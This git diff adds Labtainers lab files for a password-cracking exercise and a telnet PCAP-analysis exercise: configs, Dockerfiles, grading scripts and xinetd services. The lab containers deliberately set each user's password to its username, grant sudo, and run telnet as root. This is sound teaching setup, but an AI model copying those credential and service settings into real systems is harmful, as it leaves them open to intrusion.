+calc/rE +calc/BW +calc/ik +calc/DX +calc/Fl +calc/KT +calc/Kf +calc/rC +calc/Sv +calc/rA +calc/i4 +calc/F6 +calc/GK +calc/iF +calc/zV +calc/JC +calc/nI +calc/f9 +calc/4w +calc/g4 +calc/Cs +calc/uU +calc/fU +calc/FS +calc/Mm +calc/NH +calc/oC +calc/ui +calc/-B +calc/Af +calc/6y +calc/b2 +calc/qJ +calc/wz +calc/vb +calc/30 +calc/85 +calc/I3 +calc/ev +calc/Ja +calc/nH +calc/12 +calc/ZR +calc/j3 +calc/E1 +calc/AI +calc/hx +calc/uH +calc/TJ +calc/x0 +calc/Kz +calc/IS +calc/f0 +calc/wm +calc/F+ +calc/ve +calc/S1 +calc/Lz +calc/RV +calc/-x +calc/tf +calc/Pq +calc/zR +calc/6E +calc/+A +calc/YM +calc/Zu +calc/Y- +calc/dx +calc/98 +calc/KB +calc/pi +calc/hc +calc/96 +calc/T3 +calc/UG +calc/hK +calc/bg +calc/iN +calc/fq +calc/X6 +calc/vG +calc/00 +calc/3L +calc/8m +calc/dn +calc/q2 +calc/mk +calc/uI +calc/d7 +calc/sS +calc/yG +calc/at +calc/Xf +calc/U7 +calc/v7 +calc/6K +calc/s+ +calc/DP +calc/cs +calc/Dl +calc/EX +calc/h3 +calc/AK +calc/1d +calc/FM +calc/H5 +calc/6+ +calc/KR +calc/p5 +calc/+2 +calc/Fj +calc/zs +calc/P0 +calc/CI +calc/p3 +calc/Br +calc/u5 +calc/bf +calc/M9 +calc/+C +calc/HD +calc/3u +calc/Xa +calc/JM +calc/WP +calc/No +calc/ZN +calc/vR +calc/Dv +calc/+k +calc/8g +calc/y9 +calc/84 +calc/2k +calc/7A +calc/xZ +calc/5Z +calc/yE +calc/F3 +calc/-A +calc/50 +calc/rI +calc/+o +calc/qM +calc/Go +calc/bW +calc/1y +calc/Bw +calc/i1 +calc/GG +calc/+E +calc/Re +calc/Xb +calc/CP +calc/AG +calc/FY +calc/nv +calc/ry +calc/Yo +calc/OI +calc/dF +calc/Zz +calc/0n +calc/j9 +calc/Iq +calc/YJ +calc/VW +calc/Y0 +calc/Bs +calc/m3 +calc/36 +calc/C0 +calc/oU +calc/cp +calc/+c +calc/qE +calc/G9 +calc/Wl +calc/CC +calc/Vl +calc/6x +calc/tg +calc/kA +calc/Fx +calc/1- +calc/xc +calc/pc +calc/kr +calc/vj +calc/c3 +calc/7m +calc/Kj +calc/hz +calc/80 +calc/Iy +calc/ul +calc/JF +calc/yP +calc/cC +calc/57 +calc/4r +calc/cS +calc/m5 +calc/0a +calc/aC +calc/8F +calc/z4 +calc/fd +calc/IA +calc/lU +calc/hC +calc/qo +calc/j- +calc/qC +calc/Ok +calc/nc +calc/m9 +calc/5d +calc/Ko +calc/z1 +calc/0p +calc/-E +calc/ZL +calc/xB +calc/Qw +calc/IX +calc/Cq +calc/AL +calc/cA +calc/Wb +calc/O- +calc/B- +calc/4J +calc/BT +calc/n0 +calc/yq +calc/24 +calc/ZS +calc/T6 +calc/nq +calc/Ch +calc/XZ +calc/ld +calc/Xt +calc/m2 +calc/eE +calc/aQ +calc/Ei +calc/y- +calc/mW +calc/rx +calc/ru +calc/FK +calc/Pa +calc/+s +calc/vW +calc/Kp +calc/d5 +calc/XN +calc/9r +calc/jg +calc/Cf +calc/Lj +calc/ee +calc/Po +calc/kh +calc/oK +calc/EC +calc/vy +calc/ag +calc/4E +calc/Wc +calc/s2 +calc/wU +calc/Id +calc/HX +calc/6z +calc/ZP +calc/C4 +calc/DG +calc/4U +calc/Oz +calc/hA +calc/Ao +calc/rH +calc/47 +calc/hS +calc/PN +calc/8A +calc/IU +calc/UT +calc/P1 +calc/8W +calc/LW +calc/Qb +calc/rg +calc/Dz +calc/Nq +calc/YH +calc/qi +calc/QI +calc/xo +calc/2X +calc/1r +calc/A4 +calc/oe +calc/CL +calc/Xo +calc/0P +calc/1A +calc/VP +calc/0u +calc/qn +calc/TL +calc/Tz +calc/9A +calc/St +calc/7F +calc/gb +calc/sU +calc/gq +calc/Bd +calc/p2 +calc/Vm +calc/jk +calc/VV +calc/0M +calc/1k +calc/0B +calc/Eo +calc/S- +calc/w3 +calc/N0 +calc/oB +calc/MQ +calc/ST +calc/1M +calc/nQ +calc/Mf +calc/oX +calc/-F +calc/Yg +calc/0j +calc/87 +calc/-t +calc/Dd +calc/pT +calc/xG +calc/IG +calc/o0 +calc/na +calc/5J +calc/wP +calc/+y +calc/3+ +calc/io +calc/Ex +calc/zj +calc/9U +calc/Do +calc/CU +calc/uZ +calc/9K +calc/dX +calc/bc +calc/fE +calc/tF +calc/jH +calc/t1 +calc/Hs +calc/nm +calc/Q8 +crack512.py +crackMD5.py +crackPre.py +crackSHA.py +htpasswd-md5 +htpasswd-sha1 +htpasswd-sha512 +tinylist.txt diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/config/start.config new file mode 100644 index 000000000..181a3947b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/config/start.config @@ -0,0 +1,52 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER pass-crack + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED pass-crack_mike_master_seed + + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER pass-crack + # user name of user who interacts with the container. + USER student + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/dockerfiles/Dockerfile.pass-crack.pass-crack.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/dockerfiles/Dockerfile.pass-crack.pass-crack.student new file mode 100644 index 000000000..77506c3cc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/dockerfiles/Dockerfile.pass-crack.pass-crack.student @@ -0,0 +1,61 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y apache2-utils +# +# Install the system files found in the _system directory +# +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN sudo adduser $user_name sudo + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$lab.tar.gz $HOME +ADD $labdir/$imagedir/home_tar/home.tar $HOME + +RUN sudo chown -R $user_name:$user_name /home/$user_name +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/Crack-Speed.xlsx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/Crack-Speed.xlsx new file mode 100644 index 000000000..85b79ace5 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/Crack-Speed.xlsx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/Makefile new file mode 100644 index 000000000..e2aae792c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/Makefile @@ -0,0 +1,6 @@ +pass-crack.pdf: pass-crack.docx + soffice --convert-to pdf pass-crack.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/pass-crack-template.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/pass-crack-template.docx new file mode 100755 index 000000000..0980a9c27 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/pass-crack-template.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/pass-crack.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/pass-crack.docx new file mode 100755 index 000000000..253db8797 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/pass-crack.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/read_first.txt new file mode 100644 index 000000000..5a38cc135 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/docs/read_first.txt @@ -0,0 +1,10 @@ +The lab manual is at + file://LAB_DOCS/pass-crack.pdf +The report template at + file://LAB_DOCS/pass-crack-template.docx +The spreadsheet is at: + file://LAB_DOCS/Crack-Speed.xlsx + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/instr_config/goals.config new file mode 100644 index 000000000..4e0b435f1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/instr_config/goals.config @@ -0,0 +1,13 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#SUM: Counts of program invocations +chage = count : chage +crackSHA = count : crackSHA +crackMD5 = count : crackMD5 +crack512 = count : crack512 +crackPre = count : crackPre +crackPre_sha1 = count : string_equal : crackPre : answer=htpasswd-sha1 +crackPre_me = count : string_equal : crackPre : answer=htpasswd-me +htpasswd = count : htpasswd + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/instr_config/results.config new file mode 100644 index 000000000..3421be5cd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/instr_config/results.config @@ -0,0 +1,10 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +chage = chage.stdin : PARAM : 0 +crackSHA = crackSHA.py.stdin : PARAM : 2 +crackMD5 = crackMD5.py.stdin : PARAM : 2 +crack512 = crack512.py.stdin : PARAM : 2 +crackPre = crackPre.py.stdin : PARAM : 1 +htpasswd = htpasswd.stdin : PARAM : 2 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/_bin/treataslocal new file mode 100644 index 000000000..604bdbe98 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/_bin/treataslocal @@ -0,0 +1,2 @@ +/usr/bin/chage +/usr/bin/htpasswd diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/_system/sbin/shutdown_container b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/_system/sbin/shutdown_container new file mode 100755 index 000000000..e5aa6d1f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/_system/sbin/shutdown_container @@ -0,0 +1,4 @@ +#!/bin/bash +PLIST=$(ps aux | grep '[b]ash -l' | awk '{print $2}') +kill $PLIST +kill -9 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/home_tar/home.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/home_tar/home.tar new file mode 100644 index 000000000..13e1aa38c Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pass-crack/pass-crack/home_tar/home.tar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/README b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/README new file mode 100644 index 000000000..6befcacd5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/README @@ -0,0 +1,19 @@ +This lab illustrates a technique for parameterizing PCAP files by altering +frame numbers associated with packets of interest. This is acheived by +by using editcap to trim a random quanity of packets from the start of +the student's PCAP file. + +The lab requires the student to use tshark to analyze a PCAP file that was +created using tcpdump to capture a telnet session. +The original PCAP file was constructed with a buffer of superfluous packets at +its beginning. The fixlocal script invokes editcap to truncate the start of the +PCAP file, passing the START_FRAME value which is parameterized to a random value. + +To complete the lab, the student is directed to use a "frame.number==" filter to +view a specific packet of interest, i.e., the packet containing an invalid password attempt. + +On the grading side, the adjustframe.py script is invoked in the goals.config to adjust +original frame number to match the student's file. + +The lab also parameterizes the timestamps within the PCAP file, though those are +not refrenced by grading. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/config/about.txt new file mode 100644 index 000000000..7b90c140b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/config/about.txt @@ -0,0 +1 @@ +Use tshark to analyze a PCAP file, locating an invalid loging attempt diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/config/parameter.config new file mode 100644 index 000000000..662882d32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/config/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see labdesigner.pdf + +# The following are meant for pcapanalysis lab +# Replace the number of seconds to adjust for editcap (an example, not used in grading) +PCAPSECOND : RAND_REPLACE: /home/ubuntu/.local/bin/fixlocal.sh : EDITCAP_SECONDS : 100 : 3600 +# Replace the starting frame number to truncate the start of the PCAP file +FIRST_FRAME : RAND_REPLACE: .local/bin/fixlocal.sh : START_FRAME : 1 : 100 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/config/start.config new file mode 100644 index 000000000..22e13aa6a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/config/start.config @@ -0,0 +1,24 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER pcapanalysis + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED pcapanalysis_jean_seed + +# SUBNETS +NETWORK SOME_NETWORK + MASK 172.20.0.0/24 + GATEWAY 172.20.0.100 + +# Container name and settings +CONTAINER pcapanalysis + USER ubuntu + XTERM INSTRUCTIONS + X11 YES diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/dockerfiles/Dockerfile.pcapanalysis.pcapanalysis.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/dockerfiles/Dockerfile.pcapanalysis.pcapanalysis.student new file mode 100644 index 000000000..fafca2046 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/dockerfiles/Dockerfile.pcapanalysis.pcapanalysis.student @@ -0,0 +1,26 @@ +ARG registry +FROM $registry/labtainer.wireshark +ARG lab +ARG labdir +ARG imagedir +ARG apt_source +ARG user_name +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnetd tshark +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +RUN adduser $user_name wireshark + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +# +# the faux_init script starts the rsyslog daemon & the xinetd +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/docs/Makefile new file mode 100644 index 000000000..0b441433e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/docs/Makefile @@ -0,0 +1,6 @@ +pcapanalysis.pdf: pcapanalysis.docx + soffice --convert-to pdf pcapanalysis.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/docs/pcapanalysis.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/docs/pcapanalysis.docx new file mode 100644 index 000000000..ade8acf25 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/docs/pcapanalysis.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/docs/read_first.txt new file mode 100644 index 000000000..578116473 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/pcapanalysis.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/instr_config/goals.config new file mode 100644 index 000000000..3eb259460 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/instr_config/goals.config @@ -0,0 +1,16 @@ +# goals.config +# +# Please see Labtainer Lab Designer User Guide + +# Did the student view telent data? +# see results +# Did the student view the specific frame of interest? +# The adjustframe.py determines if the frame number captured in +# student output is equal to the original reference frame number less +# the randomly selected frame start. +# Note the students PCAP is missing the first START_FRAME frames. +# +# example of arithmetic expression +# DOC: Viewed the intended frame +view_frame = matchany : integer_equal : (190-frame_num) : parameter.FIRST_FRAME + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/instr_config/results.config new file mode 100644 index 000000000..db6cf1ed3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/instr_config/results.config @@ -0,0 +1,10 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +# +# DOC: did the student look at telnet data? +view_telnet_data = pcapanalysis:tshark.stdin : CONTAINS : -e telnet.data +# Use search function to get the frame number from the stdin file +frame_num = pcapanalysis:tshark.stdin : SEARCH : frame.number=={:d} : HAVESTRING : PROGRAM_ARGUMENTS + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_bin/adjustframe.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_bin/adjustframe.py new file mode 100755 index 000000000..2efe1744f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_bin/adjustframe.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# adjusttime.py +# Description: * This is a sample exec file (Python) for 'execute' goals +# * This script will take two arguments +# * 'studenttime' - the time associated with the student +# * 'parameter.PCAPSECOND' - the parameterized PCAPSECOND +# +# Processing: +# This script has a hard-coded time (original time) +# This script will adjust the hard-coded time with the parameterized PCAPSECOND +# If the studenttime equals the adjusted time, the script returns TRUE +# Otherwise, the script returns FALSE + +import os +import sys +import datetime + +# Usage: adjusttime.py +# Arguments: +# - the time associated with the student +# - the parameterized PCAPSECOND +def main(): + #print "Running adjusttime.py" + if len(sys.argv) != 3: + sys.stderr.write("Usage: adjusttime.py \n") + return 0 + + ORIG_FRAME = 190 + + student_frame = sys.argv[1] + start_frame = sys.argv[2] + subframe = int(start_frame) + #print "adjusttime.py: studenttime is (%s) pcapsecond is (%s)" % (studenttime, pcapsecond) + + if student_frame == "NONE": + return 0 + else: + if ORIG_FRAME - subframe == int(student_frame): + return 1 + else: + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_bin/adjusttime.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_bin/adjusttime.py new file mode 100755 index 000000000..a11fc6b16 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_bin/adjusttime.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# adjusttime.py +# Description: * This is a sample exec file (Python) for 'execute' goals +# * This script will take two arguments +# * 'studenttime' - the time associated with the student +# * 'parameter.PCAPSECOND' - the parameterized PCAPSECOND +# +# Processing: +# This script has a hard-coded time (original time) +# This script will adjust the hard-coded time with the parameterized PCAPSECOND +# If the studenttime equals the adjusted time, the script returns TRUE +# Otherwise, the script returns FALSE + +import os +import sys +import datetime + +# Usage: adjusttime.py +# Arguments: +# - the time associated with the student +# - the parameterized PCAPSECOND +def main(): + #print "Running adjusttime.py" + if len(sys.argv) != 3: + sys.stderr.write("Usage: adjusttime.py \n") + return 0 + + FIX_DATE = "2017-08-03" + ORIG_TIME = "22:30:36.245616" + + studenttime = sys.argv[1] + pcapsecond = sys.argv[2] + addsecond = int(pcapsecond) + #print "adjusttime.py: studenttime is (%s) pcapsecond is (%s)" % (studenttime, pcapsecond) + + if studenttime == "NONE": + return 0 + else: + full_origtime = "%s %s" % (FIX_DATE, ORIG_TIME) + # Take up to the first 6 digits of student time nanoseconds portion only + full_studenttime = "%s %s" % (FIX_DATE, studenttime[0:15]) + #print "adjusttime.py: origtime is (%s) studenttime is (%s)" % (full_origtime, full_studenttime) + origdatetime = datetime.datetime.strptime(full_origtime, "%Y-%m-%d %H:%M:%S.%f") + studentdatetime = datetime.datetime.strptime(full_studenttime, "%Y-%m-%d %H:%M:%S.%f") + newdatetime = origdatetime + datetime.timedelta(seconds=addsecond) + #print origdatetime + #print studentdatetime + #print newdatetime + if newdatetime == studentdatetime: + return 1 + else: + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_bin/fixlocal.sh new file mode 100755 index 000000000..00336e47a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +cd $HOME +# Do editcap to new file to avoid potential corruption +editcap -t EDITCAP_SECONDS telnet.pcap new.telnet.pcap 1-START_FRAME +# Replace when done +cp telnet.pcap /tmp/ +mv new.telnet.pcap telnet.pcap + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_bin/treataslocal new file mode 100644 index 000000000..dc3c5b825 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_bin/treataslocal @@ -0,0 +1,2 @@ +/usr/bin/tcpdump +/usr/bin/tshark diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_system/etc/xinetd.d/telnet b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_system/etc/xinetd.d/telnet new file mode 100644 index 000000000..b1791994e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_system/etc/xinetd.d/telnet @@ -0,0 +1,10 @@ +service telnet +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/in.telnetd 